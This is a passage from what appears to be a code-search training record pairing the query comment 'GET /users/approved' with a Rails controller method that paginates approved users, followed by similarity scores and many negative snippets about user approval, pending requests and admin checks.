"def users\n\t\trespond_with User.all\n\tend",
"def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end"
] |
[
"0.82109934",
"0.7873764",
"0.7860689",
"0.78108346",
"0.78067017",
"0.7678852",
"0.76586664",
"0.76318866",
"0.7582366",
"0.75291824",
"0.7487637",
"0.74485743",
"0.7439024",
"0.7437192",
"0.7427442",
"0.73978853",
"0.73978853",
"0.73978853",
"0.73978853",
"0.7377353",
"0.7372414",
"0.736885",
"0.7368531",
"0.7367068",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7351495",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.73463756",
"0.73426867",
"0.7331111",
"0.73231107",
"0.73227614",
"0.73126787",
"0.7295692",
"0.7274169",
"0.7265484",
"0.72624177",
"0.72607577",
"0.722517",
"0.72189873",
"0.71941674",
"0.71883225",
"0.7187108",
"0.71815044",
"0.717089",
"0.71695215",
"0.7156781",
"0.71546155",
"0.71546155",
"0.7140691",
"0.7135879",
"0.7134857",
"0.71316093",
"0.71315825",
"0.712011",
"0.7114429",
"0.7112858",
"0.7107888",
"0.7098051",
"0.70957917",
"0.70957917",
"0.7093039",
"0.70904744",
"0.70890427",
"0.70889443",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685"
] |
0.0
|
-1
|
GET /users/pending Pending means not approved or denied
|
def pending
@pending_users = User.where(isApproved:false).where(isDenied:false).paginate(:page => params[:pending_users_page], :per_page => 10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pending\n @user = User.find(params[:id])\n end",
"def pending\n getProfile\n where = \"status = 'p' and (owner_id = ? OR patient_id = ?)\"\n if @user.is_therapist?\n where = \"status = 'p' and (owner_id = ? OR therapist_id = ?)\"\n end\n @appointments = Appointment.where(where, @user.id, @profile.id)\n respond_to do |format|\n format.html { render action: 'pending' }\n format.json { render :status => 200, :json => { action: 'pending', appointments: @appointments, user: @user, profile: @profile }}\n end\n end",
"def pending_users\n @pending_users = User.find(:all, :conditions => {:enabled => false, :activation_code => !nil})\n render :partial => 'pending_users'\n end",
"def pending \n @user = current_user\n @inviters = @user.pending_invited_by\n if @inviters.empty?\n flash[:no_pending] = \"You have no pending requests $blue\" \n redirect_to action: 'index'\n else \n @inviters = @inviters.paginate(:per_page => 5, :page=> params[:page])\n render layout: 'mobile_template'\n end \n end",
"def pending\n tutor_requests = PendingTutorRequest\n .select('users.id AS user_id, users.first_name,\n users.last_name, users.agg_user_rating, users.num_user_rating,\n tutor_subjects.rate, users.phone_number, courses.course_prefix,\n courses.course_code, pending_tutor_requests.id')\n .joins(:student, tutor_subject: :course).where(tutor_id: params[:tutor_id])\n json_response(tutor_requests.all)\n end",
"def pending\n @user = current_user\n @friendship_requests = current_user.requested_friendships\n end",
"def pending!\n self.update_attribute(:status, ConfigCenter::User::PENDING)\n end",
"def pending?\n (status == ConfigCenter::User::PENDING)\n end",
"def requests_pending\n\t\t@objects = Loan.where(owner_id: current_user.id, is_accepted: nil)\n\t\t@view = \"requests/requests_pending\"\n\t\t@tag = \"Mes prêts en attente\"\n\t\trender \"loans\", objects: @objects\n\tend",
"def pending_friend_requests\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n render_json :entry => @user.pending_contacts\n end",
"def pending?(user)\n membership_status(user) == StudentMembership::STATUSES[:pending]\n end",
"def pending\n pending_friends | pending_friend_requests\n end",
"def pending\n\t\tpending_friends | requested_friendships\n\tend",
"def denied\n @denied_users = User.where(isDenied:true).where(isApproved:false).paginate(:page => params[:denied_users_page], :per_page => 10)\n end",
"def company_pending\n\t\tif (!User.find_by_id_and_company_pending(params[:id], 1).blank?)\n\t\t\tflash[:error] = t(\"controllers.user_dont_touch\")\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"def pending?\n !approved? && !not_approved?\n end",
"def pending\n @emails = Email.where(:state => \"Pending\")\n respond_with @emails\n end",
"def pending\n pending_friends | requested_friendships\n end",
"def pending\n pending_friends | requested_friendships\n end",
"def pending_friend_requests_to\n \tself.friendships.where(state: \"pending\")\n end",
"def check_pending\n\t\t# Picked a random 'check' user service and temporary set it's status to pending\n\t\tuser_service \t\t= UserService.find_by(relationship_type: 'check')\n\t\tuser_service.status = 'complete'\n\t\tUserServicesMailer.check_updated(user_service)\n\tend",
"def index\n @role = current_user.role.name\n if @role == \"Regular\"\n @requests = Request.where(user_id: current_user.id)\n @pendings = current_user.requests.where(status: \"Pending\").limit(5)\n else\n @requests = Request.all\n @pendings = Request.where(status: \"Pending\")\n end\n end",
"def pending?\n !(status =~ /pending/).nil?\n end",
"def pending?\n !(status =~ /pending/).nil?\n end",
"def pending?\n !(status =~ /pending/).nil?\n end",
"def request_not_pending\n return if @request.pending?\n\n flash[:danger] = t \"request.noti.no_edit\"\n return redirect_to admin_requests_path if current_user.admin?\n\n redirect_to requests_path\n end",
"def is_pending?\n level == Membership::LEVELS[:pending]\n end",
"def check_for_pending_account\n user = User.pending.find_by_login(params[:login]) || User.pending.find_by_identity_url(params[:openid_identifier])\n user = nil unless (user && user.authenticated?(params[:password])) unless params[:openid_identifier]\n flash.now[:notice] = 'Please activate your account first by clicking on the link emailed to you' if user\n end",
"def list_pending_friend_request\n @current_user = User.find(params[:user_id])\n render json: {\n pending_friend: @current_user.friend.where(status: :pending).map do |friend|\n {\n id: friend.friend,\n name: User.find(friend.friend).name,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n status: friend.status\n }\n end\n }, status: :ok\n end",
"def pending?\n status == 'pending'\n end",
"def pending?\n status == \"pending\"\n end",
"def pending\n\t\tdonations.where(\"donations.status = 'pending' AND created_at < ?\", Donation.revoke_time)\n\tend",
"def pending?\n status == 'pending'\n end",
"def approved?\n !pending\n end",
"def pending?\n status == :pending\n end",
"def request\n if Pending.approved.include? @@item.attach\n 'unapprove'\n elsif Pending.unapproved.include? @@item.attach\n 'approve'\n elsif @@item.approved and @@item.approved.include? User.initials\n 'unapprove'\n else\n 'approve'\n end\n end",
"def pending_friends\n Relationship.find_all_by_friend_id_and_approved(self,false)\n end",
"def approved\n @approved_users = User.where(isApproved:true).where(isDenied:false).paginate(:page => params[:uapproved_users_page], :per_page => 10)\n end",
"def not_pending\n if user.incoming_friend_requests.pluck(:user_id).include?(friend_id)\n errors.add(:friend, 'already requested friendship')\n end\n end",
"def index\n @team_memberships = current_user.team_memberships.where(status: 'pending')\n end",
"def showListPendingPays\n puts @current_user\n results = HTTParty.get(\"http://192.168.99.101:4055/lists/by_user?user_id=\"+(@current_user[\"id\"]).to_s)\n if results.code == 200\n render json: results.parsed_response, status: 200\n else\n render json: results.parsed_response, status: results.code\n end\n end",
"def pending?(allow_unconfirmed: false)\n params = {\n include_only_confirmed: !allow_unconfirmed,\n _access: :exists\n }\n\n rpc(:pending_exists, :hash, params) == 1\n end",
"def pending\n @people = Person.where(:key.exists => true).page params[:page]\n @title = 'Listing pending people <small>(who have not confirmed)</small>'\n\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render json: @people }\n end\n end",
"def index\n @users = current_user.requesters.where('requests.accepted = ?', false)\n end",
"def pending_friend_requests_to\n self.friendships.where(state: \"pending\")\n end",
"def pending_request\n sent_requests.where(confirmed: nil)\n end",
"def pending(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Recipients/Pending\", params: params)\n end",
"def index\n @borrow_requests = current_user.borrow_requests.actionable\n @pending_approvals = current_user.approvals.where(\"status = 'pending'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @borrow_requests }\n end\n end",
"def pending_friend_requests_from\n \tself.inverse_friendships.where(state: \"pending\")\n end",
"def index\n @users = User.order('created_at desc')\n @unapproved_users = User.where(:approved => false)\n @approved_users = User.where(:approved => true)\n respond_with(@users)\n end",
"def pending_friend_requests_from\n self.inverse_friendships.where(state: \"pending\")\n end",
"def pending_acceptance\n merge(CourseUser.with_invited_state)\n end",
"def pending\n @companies = Company.where(:reg_status => 1)\n respond_with @companies\n end",
"def pending?\n status == :pending\n end",
"def asks_pending\n\t\t@objects = Loan.where(borrower_id: current_user.id, is_accepted: nil)\n\t\t@view = \"asks/asks_pending\"\n\t\t@tag = \"Mes demandes en attente\"\n\t\tputs @objects.inspect\n\t\trender \"loans\", objects: @objects\n\tend",
"def pending\n @title = \"Pending Contact Requests\".t\n @invitations = do_search_people(@person.received_invitations.pending)\n respond_to do |format|\n format.html { render :template => 'contacts/pending' }\n format.js { return }\n end\n end",
"def request_status_pending?\n friend_request_exists? && @friend.pending?\n end",
"def pending\n pending_friends | inverse_pending_friends\n end",
"def index\n render json: filter(@current_user), status: :ok if @current_user\n render json: { message: 'expired' }, status: :not_found if !@current_user\n end",
"def pending\n @reviews = current_user.written_reviews.pending\n render json: @reviews\n end",
"def status\n render json: { message: 'valid user'}, status: :accepted\n end",
"def pending_accept\n received_requests.where(confirmed: nil)\n end",
"def friend_requests\n FriendRequest.all.select do |req|\n req.to_user_id == self.id && req.pending\n end\n end",
"def sent_friend_requests\n self.followed_users.where(\"friend_status = 'PENDING'\")\n end",
"def pending_requests; end",
"def pending_requests; end",
"def pending_requests; end",
"def pending_friends\n User.joins(\"INNER JOIN friendships ON users.id = friend_id WHERE \n friendships.user_id = #{self.id} AND \n friendships.is_pending = true\")\n end",
"def pending_friends\n \tself.passive_relationships.where(status_flag: 0)\n end",
"def possible_statuses\n\t\tcase self.status\n\t\twhen 'pending'\n\t\t\t['granted', 'denied']\n\t\twhen 'granted'\n\t\t\t['revoked']\n\t\twhen 'denied'\n\t\t\t['granted']\n\t\twhen 'revoked'\n\t\t\t['granted']\n\t\telse\n\t\t\t[]\n\t\tend\n\tend",
"def accept\n @user = User.find(params[:id])\n @user.pending = false\n if @user.update_attribute(:pending,false)\n flash[:success] = \"Account accepted !\"\n else\n flash[:warning] = \"Account has not been accepted.#{@user.errors.inspect}\"\n end\n redirect_to :action => 'index'\n end",
"def approved?\n !self.pending\n end",
"def is_requested\n request_status_pending? && @friend.requester == current_user\n end",
"def pending?\n !hashed_password && !reviewer?\n end",
"def pending?\n (status == PENDING)\n end",
"def pending?\n (status == PENDING)\n end",
"def pending?\n\t\t\treturn account_life_cycle_status == PENDING \n\t\tend",
"def pending?\n return true if self.status == 'Pending'\n return false\n end",
"def pending?\n return true if self.status == 'Pending'\n return false\n end",
"def pending?(other_user)\n\trelationship = get_relationship(other_user)\n\t\n\treturn relationship && relationship.friend_status == \"PENDING\" && relationship.follower_id == self.id\n end",
"def update\n respond_to do |format|\n if @user\n @user.active = false\n @user.pending = false\n @user.save\n end\n format.json { render json: {:status => :ok}}\n end\n end",
"def status\n \t\t@plan = Plan.find(params[:id])\n authorize @plan\n \t\tif user_signed_in? && @plan.readable_by(current_user.id) then\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json { render json: @plan.status }\n\t\t\tend\n\t\telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n\t\tend\n\tend",
"def is_pending?\n return self.status == Erp::Reservations::Reservation::STATUS_PENDING\n end",
"def pending_friends\n inverse_friendships.map{ |fs| fs.user unless fs.accepted? }.compact\n end",
"def pending_driver\n render :json => @user, serializer: PendingDriverSerializer, root: false, status: 200\n end",
"def pending?\n return false if status.nil?\n \"pending\".casecmp(status).zero?\n end",
"def show\n render json: @user.blocked\n end",
"def pending_members\n set_group \n @pending_members = GroupsController.pending_members(params[:id], current_user.id)\n end",
"def rate_limit_status(params)\n get \"account/rate_limit_status\", params\n end",
"def pending_friends\n @user_fr.friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end",
"def pending\n @unapproved_profiles = PresenterProfile.unapproved_profiles\n @draft_profiles = PresenterProfile.admin_drafts\n @profile_count = PresenterProfile.unapproved_profiles.count + PresenterProfile.admin_drafts.count\n end",
"def rate_limit_status\n get('/account/rate_limit_status.json')\n end",
"def user_available\n return unless user && task_id\n\n unfinished = user.progressions.unfinished\n unfinished = unfinished.where(progressions: { task_id: task_id })\n unfinished = unfinished.where.not(progressions: { id: id }) if id\n return if unfinished.none?\n\n errors.add(:user_id, 'not available')\n end",
"def pending\n add_breadcrumb \"Ordenes de Trabajo pendientes\"\n @assigned_work_orders = WorkOrder.where(user_assigned:current_user).where(state:1).paginate(:page => params[:pa])\n end",
"def has_request\n request_status_pending? && @friend.requester != current_user\n end",
"def index\n if current_admin.role == 0\n @requests = Request.where(\"approved = 'f'\")\n elsif current_admin.role == 1\n @requests = Request.where(\"approved = 't' AND money = 'f'\")\n else\n @requests = Request.where(\"approved = 't' AND money = 't'\")\n end\n end",
"def pending_edits\n \tself.edits.where(:is_approved => nil)\n end",
"def filter_self\n if @user && !current_user.can_edit?(@user)\n respond_to do |format|\n format.html {\n render :nothing => true, :status => 403\n }\n format.json {\n render :json => {:status => 'failure'}, :status => 403\n }\n end\n end\n end",
"def friendships_pending\n friendships_pending = []\n friendships.where(confirmed: false).each { |fs| friendships_pending << User.find(fs.friend_id) }\n friendships_pending\n end",
"def pending\n @topics = if current_course_user&.student?\n unread_topics_for_student\n else\n all_topics.pending_staff_reply\n end\n\n render_topics_list_data\n end"
] |
[
"0.7111376",
"0.71027184",
"0.70551986",
"0.69427",
"0.6917578",
"0.6872288",
"0.6868832",
"0.68666303",
"0.6816035",
"0.67986715",
"0.6765894",
"0.66890544",
"0.6633979",
"0.656105",
"0.65558445",
"0.6549094",
"0.6532761",
"0.65259486",
"0.65259486",
"0.6436157",
"0.6407817",
"0.64011055",
"0.64003605",
"0.64003605",
"0.64003605",
"0.63966775",
"0.63893926",
"0.6384125",
"0.6378601",
"0.637438",
"0.6371592",
"0.63553554",
"0.63347626",
"0.6333681",
"0.63315904",
"0.6326278",
"0.63169706",
"0.6306172",
"0.6304102",
"0.6301545",
"0.6299475",
"0.62978613",
"0.6294986",
"0.62947667",
"0.62930137",
"0.62792534",
"0.62728137",
"0.6272073",
"0.62659097",
"0.6262289",
"0.6261594",
"0.623283",
"0.6217472",
"0.61951697",
"0.6166983",
"0.61569715",
"0.6155327",
"0.61533743",
"0.6128855",
"0.61124545",
"0.6088466",
"0.60816044",
"0.60741013",
"0.60715985",
"0.6065431",
"0.6065431",
"0.6065431",
"0.6051502",
"0.60454696",
"0.60127276",
"0.6009786",
"0.600803",
"0.6006489",
"0.60042906",
"0.60033727",
"0.6003193",
"0.5994727",
"0.5982864",
"0.5982864",
"0.59636045",
"0.5958551",
"0.59581494",
"0.59507823",
"0.5946845",
"0.59403324",
"0.5935566",
"0.59334123",
"0.5926916",
"0.59233624",
"0.5920533",
"0.59201777",
"0.5913272",
"0.591281",
"0.5910055",
"0.59058666",
"0.5903061",
"0.589935",
"0.58943367",
"0.58942974",
"0.5888393"
] |
0.8107582
|
0
|
GET /users/approved Already approved but might need to promote to admin/deactivate
|
def approved
@approved_users = User.where(isApproved:true).where(isDenied:false).paginate(:page => params[:uapproved_users_page], :per_page => 10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def admin_approve_user\n @user.update(approved: true)\n redirect_to admin_path, notice: \"User Approved\"\n end",
"def approve_user\n # set the enabled flag to true for the user\n # send out approval notification\n end",
"def check_approved\n redirect_to animals_path, notice: \"Your account is not yet approved, you can't list an animal.\" if !current_user&.approved?\n end",
"def approve\n @user.state = User::ENABLED\n @user.save\n \n respond_to do |format|\n format.html { redirect_to(registrations_users_path, :notice => \"User registration was successfully approved.\") }\n format.xml { head :ok }\n end\n end",
"def approve_user(user_id)\n post(\"/users/#{user_id}/approve\")\n end",
"def approved?\n (status == ConfigCenter::User::APPROVED)\n end",
"def is_approve\n order = current_user.customer.orders.find(params[:id])\n if order.status == \"Approved\"\n render json: {is_approve: true}\n elsif order.status == \"Declined\"\n render json: {is_approve: false}\n else\n render json: {is_approve: nil}\n end\n end",
"def approve\n User.where(id: params[:user_ids]).update_all(approved: true)\n\n respond_to do |format|\n format.html { redirect_to users_url(filter: \"unapproved\"), notice: 'Benutzer wurden freigeschaltet.' }\n format.json { head :no_content }\n end\n end",
"def admin\n @admin_users = User.where(isAdmin:true).where(isApproved:true).paginate(:page => params[:admin_users_page], :per_page => 10)\n end",
"def status\n @review = Review.find(params[:id])\n @review.update_attribute(:approved_id, current_user.id)\n flash[:info] = \"Review is approved!\"\n redirect_to admin_home_path\n end",
"def index\n \n \n if user_signed_in? && current_user.admin?\n @users = User.all\n @unapproved_users = User.where(:approved => false)\n @approved_users = User.where(:approved => true)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n else\n redirect_to root_path\n end\n end",
"def approve\n #get profile, and profile owner\n presenter = find_presenter\n profile = presenter.presenter_profile\n \n #check status of profile\n #if waiting for admin approval\n if profile.status == \"pending_admin\"\n #check if logged in user is an admin\n if current_user.user_type == \"admin\"\n if profile.approve\n flash[:info] = \"This profile has been approved\"\n Notification.send_message(presenter.user, \"Your profile changes have been approved.\", presenter_profile_path(presenter), :system)\n redirect_to presenter_profile_path(presenter)\n else\n flash[:danger] = \"Something went wrong\"\n redirect_to presenter_profile_path(presenter)\n end\n \n else #Incorrect user\n flash[:info] = \"Profile changes are waiting for approval from admin.\"\n redirect_to root_url\n end\n\n #if waiting for profile owner approval\n elsif profile.status == \"pending_presenter\"\n #check if logged in presenter is profile owner\n if presenter == current_user.presenter\n if profile.approve\n flash[:info] = \"Your profile has been approved\"\n redirect_to presenter_profile_path(presenter)\n else\n flash[:danger] = \"Something went wrong\"\n redirect_to presenter_profile_path(presenter)\n end\n else #incorrect user\n flash[:info] = \"Profile changes are waiting approval from presenter\"\n redirect_to presenter_profile_path(presenter)\n end\n\n else #profile is already approved\n flash[:warning] = \"Profile is already approved\"\n redirect_to root_url\n end\n end",
"def update\n @users = User.find(params[:id])\n if params[:approved]\n if current_user && current_user.is_admin?\n if @users.update(user_params)\n # Tell the UserMailer to send a welcome email after approval\n UserMailer.user_approved(@users).deliver_later\n render json: { status: 200, msg: 'User details have been updated.' }\n end\n else\n render json: { error: 'You are not authorized to modify this data'} , status: 401\n end\n else\n if @users.update(user_params)\n render json: { status: 200, msg: 'User details have been updated.' }\n end\n end\n end",
"def approve\n @profile.approved = true\n @profile.save!\n redirect_to profiles_path(status: 'prohibited')\n end",
"def approved?\n (status == APPROVED)\n end",
"def status\n @post = Post.find(params[:id])\n @post.update_attribute(:approved_id, current_user.id)\n flash[:info] = \"Advertisement is approved!\"\n redirect_to admin_home_path\n end",
"def request\n if Pending.approved.include? @@item.attach\n 'unapprove'\n elsif Pending.unapproved.include? @@item.attach\n 'approve'\n elsif @@item.approved and @@item.approved.include? User.initials\n 'unapprove'\n else\n 'approve'\n end\n end",
"def approve(user)\n if !self.approved?\n self.approved = true\n self.manager = user\n self.approved_at = Time.now\n end\n end",
"def approved?\n status == STATUS_APPROVED\n end",
"def approve!\n self.update_attribute(:status, ConfigCenter::User::APPROVED)\n end",
"def approved\n @req = Request.last\n RequestMailer.approved(@req)\n end",
"def pending \n @pending_users = User.where(isApproved:false).where(isDenied:false).paginate(:page => params[:pending_users_page], :per_page => 10)\n end",
"def index\n if current_admin.role == 0\n @requests = Request.where(\"approved = 'f'\")\n elsif current_admin.role == 1\n @requests = Request.where(\"approved = 't' AND money = 'f'\")\n else\n @requests = Request.where(\"approved = 't' AND money = 't'\")\n end\n end",
"def index\n @users = User.order('created_at desc')\n @unapproved_users = User.where(:approved => false)\n @approved_users = User.where(:approved => true)\n respond_with(@users)\n end",
"def approved?\n [ 'AUTHORISED' ].include? status\n end",
"def index_approved\n if params[:approved] == 'true'\n @products = Product.where(approved: true)\n elsif params[:approved] == 'false'\n @products = Product.where(approved: false)\n end\n json_response(@products, :ok)\n end",
"def index\n if params[:is_approved].to_i == 0\n @users = User.find_all_by_is_approved(0) #returns unapproved users \n elsif params[:is_approved].to_i == 1\n @unsorted_users = User.where(:is_approved => 1, :is_admin => 0)\n @users = @unsorted_users.sort_by { |obj| obj.postal } \n else\n redirect_to \"/\" #For bogus calls => return to root\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end \n end",
"def approve!\n\t\tif self.status == \"active\"\n\t\t\traise \"ERROR in approving an already active member\"\n\t\telsif self.status == \"rejected\"\n\t\t\traise \"ERROR cannot approve rejected member\"\n\t\telse\n\t\t\tself.update!(status: \"active\")\n\t\tend\n\tend",
"def approve\n @group_user.approve!\n respond_to do |format|\n flash[:notice] = 'Membership approved.'\n format.html { redirect_to @group_user.group }\n format.xml { head :ok }\n end\n end",
"def auto_approve\n user=photo.user or return nil\n if user.admin?\n photo.approver_id=user.id\n photo.status = Photo::STATUS_APPROVED\n end\n end",
"def approve\n approve_user\n return if notified?\n email_topic_subscribers\n end",
"def approved?\n !pending\n end",
"def approved?\n !self.pending\n end",
"def approve_user\n users_to_be_approved = params[:users_to_be_approved]\n users_to_be_rejected = params[:users_to_be_rejected]\n\n approve = params[:approve]\n\n flash[:notice] = \"\"\n\n #This block is to handle the users to be approved ...\n unless users_to_be_approved.nil?\n users_to_be_approved = users_to_be_approved.map(&:to_i)\n User.find(users_to_be_approved).each do |each_user|\n each_user.update_attribute('approved',true)\n Thread.new{\n UserNotifications.deliver_user_approved(each_user)\n }\n# puts \"#{each_user.full_name} approved ...\"\n end\n\n flash[:notice] += \"#{users_to_be_approved.length} users Successfully Approved\"\n \n else\n flash[:notice] += \"No Users Selected for Approval\"\n end\n #Till Here\n\n #This block is to handle the users to be rejected ...\n unless users_to_be_rejected.nil?\n users_to_be_rejected = users_to_be_rejected.map(&:to_i)\n User.find(users_to_be_rejected).each do |each_user|\n each_user.update_attribute('approved',false)\n end\n\n flash[:notice] += \"</br>#{users_to_be_rejected.length} users Successfully Rejected\"\n else\n flash[:notice] += \"</br>No Users Selected for Rejection\"\n end\n #Till Here\n\n @users = User.approved\n @users_to_be_approved = User.to_be_approved\n\n respond_to do |format|\n format.html {redirect_to :index}\n format.js\n end\n\n end",
"def approve\n respond_to do |format|\n if @ad.update_as_approved_by(authed_user)\n format.html { redirect_to ops_ads_path, notice: 'Ad was successfully approved.' }\n format.json { render :show, status: :ok, location: ops_ads_path }\n else\n format.html { redirect_to edit_org_ad_path(@ad.org, @ad) }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def approve_org\n @organization = Organization.find(params[:id])\n if admin_user_signed_in?\n @organization.approved = true\n if @organization.save\n flash[:notice] = \"#{@organization.name} approved\"\n else \n \n end\n redirect_to '/admin'\n end\n end",
"def approved?\n return @approved unless @approved.nil?\n\n approving_users = self.approvals.map { |a| a.approved_by }\n\n unsatisfied = owners_contents.select do |owners|\n (owners & approving_users).empty?\n end\n\n @approved = unsatisfied.empty?\n @approved\n end",
"def index\n redirect_to :root unless current_user.admin?\n @non_approved_registrations = Registration.all.where(approved: false)\n @approved_registrations = Registration.all.where(approved: true)\n end",
"def approve\n logger.info(\"in approvals controller: approve\")\n\n logger.info(\"in approvals controller: approve?\")\n if @changeset.approved?\n logger.info(\"in approvals controller: approve? yep!\")\n flash[:notice] = l(:approved_already)\n else\n logger.info(\"in approvals controller: approve? nope!\")\n begin\n @changeset.approve(User.current)\n\n logger.info(\"User #{User.current.login} approved revision ##{@changeset.revision} in repository #{@changeset.repository.url}\")\n flash[:notice] = l(:revision_approved, :rev => \"#{@changeset.revision}\")\n\n rescue => e\n flash[:error] = e.message\n end\n end\n\n respond_to do |format|\n format.html { redirect_to request.referer || '/' }\n format.js\n format.api\n end\n end",
"def email_approve(params)\n http_helper.send_post_request(\"#{@url_prefix}/#{get_user_id!(params)}/email/approve\", params)\n end",
"def activate\n @user.activate! if @user.pending?\n redirect_to root_url\n end",
"def approve\n @reservation.is_approved = true\n @reservation.status = :approved\n @reservation.admin_response_time = Time.now\n respond_to do |format|\n if @reservation.save\n notify_approved\n format.html { redirect_to @reservation, flash: { success: 'Reservation has been approved' } }\n format.json { render :show, status: :ok, location: @reservation }\n else\n respond_to_errors :show, format\n end\n end\n end",
"def approved?\n if order_status == 'approved'\n return true\n else\n return false\n end\n end",
"def index\n @resources = Resource.where(\"is_approved = true\")\n render json: @resources, status: 200\n end",
"def active_for_authentication? \n super && is_approved? \n end",
"def approve(user)\n friendship = find_any_friendship_with(user)\n return false if friendship.nil? || invited?(user)\n friendship.update_attribute(:pending, false)\n end",
"def approve\n set_service_request_status(ServiceProvider, ServiceRequest.statuses[:approved])\n\n # notify client\n NotificationsService.send_notification(@current_user, @service_request.service.client, NOTIFICATION_TYPE[:approved_your_request], @service_request.service_id)\n end",
"def is_approved?\n level > Membership::LEVELS[:pending]\n end",
"def approve_user\n user = User.find(params[:id])\n user.update_attributes(coop_id: params[:coop_id])\n flash[:success] = \"#{user.name} has been admitted to \\\n #{Coop.find(user.coop_id).name}. Thanks MemCo!\"\n\n redirect_to root_url\n notify_user_approval(user, params[:coop_id])\n end",
"def is_approved?\n self.approved == 'approved'\n end",
"def index\n @users = User.where(:activate => true)\n authorize! :update, @users\n end",
"def approved\n\t\t @complainttypes = Complainttype.find(:all)\t#Show all Complainttypes\n\t @departments = Department.find(:all) \t# List Departments\n\t\t@complaints = Complaint.find(:all, :conditions => \"approved = 1\")\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @complaints }\t\t#Render to XML File\n \tend\n\t\t\n\tend",
"def confirm\n approval = Approval.find_by(id: params[:id])\n approval.approval = true\n approval.save\n redirect_to users_path\n end",
"def approved?\n self.is_approved == true \n end",
"def status\n \"approved\"\n end",
"def inactive_approvers\n recently_promoted_approvers = UserFeedback.where(\"created_at >= ?\", APPROVAL_PERIOD.ago).where_like(:body, \"*You gained the ability to approve posts*\").pluck(:user_id) # XXX remove in two months\n recently_promoted_approvers += UserFeedback.where(\"created_at >= ?\", APPROVAL_PERIOD.ago).where_like(:body, \"*You have been promoted to an Approver*\").pluck(:user_id)\n\n approvers = User.where(level: User::Levels::APPROVER).where.not(id: recently_promoted_approvers)\n approvers.select do |approver|\n approver.post_approvals.where(\"created_at >= ?\", APPROVAL_PERIOD.ago).count < MINIMUM_APPROVALS\n end\n end",
"def show\n @request = Request.find(params[:id])\n if current_user.has_role? :admin \n @request.update_column(:status , \"pending\")\n end\n if (@request.user.id == current_user.id) || (current_user.has_role? :admin)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n else\n redirect_to \"/\"\n \n end\n end",
"def alteration_approve\n UserNotifier.deliver_in_process(self, user)\n end",
"def notification_approve\n @notifications = current_user.notifications.where(notification_type: [\"approve\", \"submit\"]).order(\"created_at desc\")\n render :layout => false\n end",
